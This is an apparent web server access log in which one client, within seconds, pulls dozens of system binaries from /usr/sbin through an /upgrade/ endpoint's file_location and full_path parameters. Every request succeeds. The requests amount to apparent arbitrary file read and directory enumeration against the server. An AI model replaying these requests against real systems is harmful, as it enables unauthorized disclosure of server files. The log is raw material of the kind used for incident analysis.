45.135.193.11 - - [11/Sep/2026:23:06:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselinuxenabled&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40378 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselinuxenabled&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fstart-stop-daemon&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 55698 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fstart-stop-daemon&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:49 -0400] "GET /upgrade/?full_path=%2Fusr%2Fsbin&location=%2Fusr%2F HTTP/1.1" 200 6691 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Fsbin&location=%2Fusr%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables-nft&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138086 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables-nft&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.xfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 38698 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.xfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgenhostid&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40953 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgenhostid&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-set-password&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 38817 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-set-password&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frtcwake&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 49622 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frtcwake&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsgdisk&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 118480 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsgdisk&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fupdate-alternatives&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53371 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fupdate-alternatives&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-set-bootflag&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42510 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-set-bootflag&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frequest-key&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 47391 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frequest-key&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fblockdev&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 49650 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fblockdev&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffixparts&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 66333 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffixparts&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fquotaon&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 62691 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fquotaon&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsetfiles&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 44829 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsetfiles&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdmstats&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 98484 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdmstats&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffdformat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 44213 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffdformat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fautrace&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37342 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fautrace&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpartx&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 64442 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpartx&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsulogin&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53417 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsulogin&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fchgpasswd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 61819 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fchgpasswd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrpunconv&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 57060 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrpunconv&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flnewusers&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43885 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flnewusers&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmodprobe&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 117205 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmodprobe&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Freadprofile&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45106 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Freadprofile&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fatrun&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37459 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fatrun&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fchkconfig&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 56634 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fchkconfig&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables-nft-restore&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138155 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Febtables-nft-restore&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsiostat&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 44295 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsiostat&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpwconv&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 55074 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpwconv&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsuexec&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45974 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsuexec&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fswapoff&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45089 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fswapoff&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvigr&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 59450 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvigr&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farptables-nft-save&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138247 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farptables-nft-save&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdovecot_cpshutdown&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 38782 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdovecot_cpshutdown&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Finstall-info&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 91076 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Finstall-info&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpc.idmapd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 54955 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpc.idmapd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_logprint&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 77569 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_logprint&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fparted&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 79519 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fparted&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fping&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 72961 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fping&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fldattach&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45238 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fldattach&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frsyslogd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 403232 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frsyslogd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Faddpart&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41944 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Faddpart&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.msdos&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 75143 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck.msdos&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fanacron&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 54186 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fanacron&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcapsh&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 49246 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcapsh&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-reboot&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 39719 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-reboot&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmount.nfs4&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 81905 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmount.nfs4&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Funix_update&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37427 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Funix_update&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 862636 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53801 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsck&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgroupmod&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 66047 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgroupmod&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fluseradd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 44245 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fluseradd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fplipconfig&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41551 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fplipconfig&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselinuxdefcon&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41816 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselinuxdefcon&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fwhmapi0&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 710579 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fwhmapi0&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-restore-translate&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138260 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fip6tables-restore-translate&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fconsoletype&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40966 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fconsoletype&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsfreeze&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42531 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffsfreeze&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:06:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Firqbalance&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 65873 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Firqbalance&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
